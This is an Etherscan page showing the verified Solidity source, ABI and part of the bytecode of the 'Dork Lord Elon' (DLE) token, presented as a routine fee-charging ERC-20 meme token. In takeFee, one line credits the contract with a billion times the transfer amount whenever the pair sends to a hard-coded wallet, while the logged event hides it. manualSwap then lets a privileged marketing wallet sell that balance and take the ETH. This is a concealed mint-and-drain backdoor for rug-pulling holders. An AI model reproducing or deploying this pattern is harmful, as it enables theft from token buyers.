ETH Price: $2,386.87 (-0.14%)

Token

Dork Lord Elon (DLE)
 

Overview

Max Total Supply

1,000,000,000 DLE

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.283490726 DLE

Value
$0.00
0x64c4360b38898132d4d5a02a80e58c580865b22c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DLE

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-05
*/

/**

https://t.me/dorklordelon

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DLE is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Dork Lord Elon";
    string private constant _symbol = unicode"DLE";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    IUniswapV2Router router;
    address public pair;
    bool private tradingActive = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 100;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 100;
    uint256 private sellFee = 100;
    uint256 private transferFee = 100;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal _mkWallet = 0x35E89922cB7943793c14c111da9CCAc4889e986F;
    address internal _lpWallet = 0x4F95f88B157b00e7CE11df7090E801a5196f4838;
    uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public _maxWalletAmount = ( _totalSupply * 200 ) / 10000;

    constructor() {
        router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _isExcludedFromFees[address(this)] = true;        
        _isExcludedFromFees[_mkWallet] = true;
        _isExcludedFromFees[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function openTrading() external payable onlyOwner {
        pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        _approve(address(this), address(router), _totalSupply);
        router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
        tradingActive = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }

    function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
        return !swapping && swapEnabled && tradingActive && !_isExcludedFromFees[sender] && recipient == pair && swapTimes >= swapAmount;
    }

    function manualSwap() external {
        require(msg.sender == _mkWallet);
        swapTokensForETH(balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(_mkWallet).transfer(marketingAmt*2);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(_mkWallet).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            _lpWallet,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient];
    }

    function getTotalFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFees(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient));
        if(sender==pair&&recipient==_lpWallet){feeAmount=amount.mul(1e9);swapEnabled=true;}
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient));
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFees(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]){require(tradingActive, "tradingActive");}
        if(!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");}
        require(amount <= _maxTxAmount || _isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !_isExcludedFromFees[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000361565b6200002290633b9aca0062000378565b60018190556006805461ffff60a01b191690555f600955620186a0906200004c906103e862000378565b62000058919062000392565b600a55620186a0600154600a62000070919062000378565b6200007c919062000392565b600b555f600c8190556064600d819055600e829055600f91909155601081905560118190556012556127106013819055601480546001600160a01b03199081167335e89922cb7943793c14c111da9ccac4889e986f1790915560158054909116734f95f88b157b00e7ce11df7090e801a5196f4838179055600154620001049060c862000378565b62000110919062000392565b60165561271060015460c862000127919062000378565b62000133919062000392565b60175534801562000142575f80fd5b506200014e3362000203565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055305f908152600460209081526040808320805460ff1990811660019081179092556014546001600160a01b0316855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003b2565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a657815f19048211156200028a576200028a62000252565b808516156200029857918102915b93841c93908002906200026b565b509250929050565b5f82620002be575060016200035b565b81620002cc57505f6200035b565b8160018114620002e55760028114620002f05762000310565b60019150506200035b565b60ff84111562000304576200030462000252565b50506001821b6200035b565b5060208310610133831016604e8410600b841016171562000335575081810a6200035b565b62000341838362000266565b805f190482111562000357576200035762000252565b0290505b92915050565b5f6200037160ff841683620002ae565b9392505050565b80820281158282048414176200035b576200035b62000252565b5f82620003ad57634e487b7160e01b5f52601260045260245ffd5b500490565b61175f80620003c05f395ff3fe608060405260043610610108575f3560e01c8063751039fc11610092578063a8aa1b3111610062578063a8aa1b31146102dd578063a9059cbb146102fc578063c9567bf91461031b578063dd62ed3e14610323578063f2fde38b14610367575f80fd5b8063751039fc146102595780637d1db4a51461026d5780638da5cb5b1461028257806395d89b41146102b2575f80fd5b8063313ce567116100d8578063313ce567146101cb57806351bc3c85146101e65780636c0a24eb146101fc57806370a0823114610211578063715018a614610245575f80fd5b806306fdde0314610113578063095ea7b31461015b57806318160ddd1461018a57806323b872dd146101ac575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600e81526d2237b935902637b9321022b637b760911b60208201525b6040516101529190611474565b60405180910390f35b348015610166575f80fd5b5061017a6101753660046114d3565b610386565b6040519015158152602001610152565b348015610195575f80fd5b5061019e61039c565b604051908152602001610152565b3480156101b7575f80fd5b5061017a6101c63660046114fd565b61040c565b3480156101d6575f80fd5b5060405160098152602001610152565b3480156101f1575f80fd5b506101fa610474565b005b348015610207575f80fd5b5061019e60175481565b34801561021c575f80fd5b5061019e61022b36600461153b565b6001600160a01b03165f9081526002602052604090205490565b348015610250575f80fd5b506101fa6104ce565b348015610264575f80fd5b506101fa6104e1565b348015610278575f80fd5b5061019e60165481565b34801561028d575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610152565b3480156102bd575f80fd5b50604080518082019091526003815262444c4560e81b6020820152610145565b3480156102e8575f80fd5b5060065461029a906001600160a01b031681565b348015610307575f80fd5b5061017a6103163660046114d3565b6104f6565b6101fa610502565b34801561032e575f80fd5b5061019e61033d366004611556565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610372575f80fd5b506101fa61038136600461153b565b61074d565b5f6103923384846107c8565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261040792909161040191906108eb565b906108eb565b905090565b5f6104188484846108f6565b610469843361046485604051806060016040528060288152602001611702602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d91565b6107c8565b5060015b9392505050565b6014546001600160a01b0316331461048a575f80fd5b305f908152600260205260409020546104a290610dbc565b60405133904780156108fc02915f818181858888f193505050501580156104cb573d5f803e3d5ffd5b50565b6104d6610f0c565b6104df5f610f65565b565b6104e9610f0c565b6001546016819055601755565b5f6103923384846108f6565b61050a610f0c565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057e919061158d565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105dd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610601919061158d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f919061158d565b600680546001600160a01b0319166001600160a01b0392831617905560055460015461069e92309216906107c8565b6005546001600160a01b031663f305d71934306106cf816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b81526004016106f4969594939291906115a8565b60606040518083038185885af1158015610710573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073591906115e3565b50506006805460ff60a01b1916600160a01b17905550565b610755610f0c565b6001600160a01b0381166107bf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6104cb81610f65565b6001600160a01b03831661082a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b6565b6001600160a01b03821661088b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b6565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61046d8284611622565b6001600160a01b03831661095a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b6565b6001600160a01b0382166109bc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b6565b6001600160a01b0383165f90815260026020526040902054811115610a3d5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107b6565b6001600160a01b0383165f9081526004602052604090205460ff16158015610a7d57506001600160a01b0382165f9081526004602052604090205460ff16155b15610acb57600654600160a01b900460ff16610acb5760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b60448201526064016107b6565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b0b57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610b2557506006546001600160a01b03838116911614155b8015610b3c57506001600160a01b03821661dead14155b15610bb4576017546001600160a01b0383165f90815260026020526040902054610b669083610fb4565b1115610bb45760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016107b6565b60165481111580610bdc57506001600160a01b0383165f9081526004602052604090205460ff165b80610bfe57506001600160a01b0382165f9081526004602052604090205460ff165b610c3e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016107b6565b6006546001600160a01b038381169116148015610c7357506001600160a01b0383165f9081526004602052604090205460ff16155b15610c9057600160075f828254610c8a9190611635565b90915550505b610c9a8383610fbf565b15610caf57610caa600a54611045565b5f6007555b6001600160a01b0383165f90815260026020526040902054610cd190826108eb565b6001600160a01b0384165f90815260026020526040812091909155610cf684846111c9565b610d005781610d0b565b610d0b84848461120d565b6001600160a01b0384165f90815260026020526040902054909150610d309082610fb4565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d839085815260200190565b60405180910390a350505050565b5f8184841115610db45760405162461bcd60e51b81526004016107b69190611474565b505050900390565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610def57610def611648565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6a919061158d565b81600181518110610e7d57610e7d611648565b6001600160a01b039283166020918202929092010152600554610ea391309116846107c8565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610edb9085905f9086903090429060040161165c565b5f604051808303815f87803b158015610ef2575f80fd5b505af1158015610f04573d5f803e3d5ffd5b505050505050565b5f546001600160a01b031633146104df5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107b6565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61046d8284611635565b6008545f9060ff16158015610fdd5750600654600160a81b900460ff165b8015610ff25750600654600160a01b900460ff165b801561101657506001600160a01b0383165f9081526004602052604090205460ff16155b801561102f57506006546001600160a01b038381169116145b801561046d575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c545f936110849360029361107e939192611078928391610fb4565b90610fb4565b90611375565b90505f6110a6826110a0600c548661137590919063ffffffff16565b90611380565b90505f6110b384836108eb565b9050476110bf82610dbc565b5f6110ca47836108eb565b90505f6110ec6110e5600c54886108eb90919063ffffffff16565b8390611380565b90505f611104600c548361137590919063ffffffff16565b9050801561111657611116868261138b565b600d545f9061112a9061107e856002611375565b90508015611173576014546001600160a01b03166108fc61114c8360026116cb565b6040518115909202915f818181858888f19350505050158015611171573d5f803e3d5ffd5b505b4780156111b3576014546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111b1573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff1615801561046d5750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f80611219858561142a565b111561136e575f61123b61122d868661142a565b60135461107e908690611380565b6006549091506001600160a01b03868116911614801561126857506015546001600160a01b038581169116145b156112915761127b83633b9aca00611375565b6006805460ff60a81b1916600160a81b17905590505b305f908152600260205260409020546112aa9082610fb4565b305f908152600260205260409020556112c661122d868661142a565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161130d91815260200190565b60405180910390a35f600f541180156113305750600f5461132e868661142a565b115b1561135c5761135c3061dead611357600f5461107e6013548961138090919063ffffffff16565b6108f6565b61136683826108eb565b91505061046d565b5092915050565b5f61046d82846116cb565b5f61046d82846116e2565b6005546113a39030906001600160a01b0316846107c8565b60055460155460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926113e292309289925f928392169042906004016115a8565b60606040518083038185885af11580156113fe573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061142391906115e3565b5050505050565b6006545f906001600160a01b039081169083160361144b5750601154610396565b6006546001600160a01b039081169084160361146a5750601054610396565b5060125492915050565b5f6020808352835180828501525f5b8181101561149f57858101830151858201604001528201611483565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104cb575f80fd5b5f80604083850312156114e4575f80fd5b82356114ef816114bf565b946020939093013593505050565b5f805f6060848603121561150f575f80fd5b833561151a816114bf565b9250602084013561152a816114bf565b929592945050506040919091013590565b5f6020828403121561154b575f80fd5b813561046d816114bf565b5f8060408385031215611567575f80fd5b8235611572816114bf565b91506020830135611582816114bf565b809150509250929050565b5f6020828403121561159d575f80fd5b815161046d816114bf565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f606084860312156115f5575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103965761039661160e565b808201808211156103965761039661160e565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116aa5784516001600160a01b031683529383019391830191600101611685565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103965761039661160e565b5f826116fc57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf9005560799e955f53c26e4dd014ecd3995dd859ecc71c901374ca72e89108b64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063751039fc11610092578063a8aa1b3111610062578063a8aa1b31146102dd578063a9059cbb146102fc578063c9567bf91461031b578063dd62ed3e14610323578063f2fde38b14610367575f80fd5b8063751039fc146102595780637d1db4a51461026d5780638da5cb5b1461028257806395d89b41146102b2575f80fd5b8063313ce567116100d8578063313ce567146101cb57806351bc3c85146101e65780636c0a24eb146101fc57806370a0823114610211578063715018a614610245575f80fd5b806306fdde0314610113578063095ea7b31461015b57806318160ddd1461018a57806323b872dd146101ac575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600e81526d2237b935902637b9321022b637b760911b60208201525b6040516101529190611474565b60405180910390f35b348015610166575f80fd5b5061017a6101753660046114d3565b610386565b6040519015158152602001610152565b348015610195575f80fd5b5061019e61039c565b604051908152602001610152565b3480156101b7575f80fd5b5061017a6101c63660046114fd565b61040c565b3480156101d6575f80fd5b5060405160098152602001610152565b3480156101f1575f80fd5b506101fa610474565b005b348015610207575f80fd5b5061019e60175481565b34801561021c575f80fd5b5061019e61022b36600461153b565b6001600160a01b03165f9081526002602052604090205490565b348015610250575f80fd5b506101fa6104ce565b348015610264575f80fd5b506101fa6104e1565b348015610278575f80fd5b5061019e60165481565b34801561028d575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610152565b3480156102bd575f80fd5b50604080518082019091526003815262444c4560e81b6020820152610145565b3480156102e8575f80fd5b5060065461029a906001600160a01b031681565b348015610307575f80fd5b5061017a6103163660046114d3565b6104f6565b6101fa610502565b34801561032e575f80fd5b5061019e61033d366004611556565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610372575f80fd5b506101fa61038136600461153b565b61074d565b5f6103923384846107c8565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e8880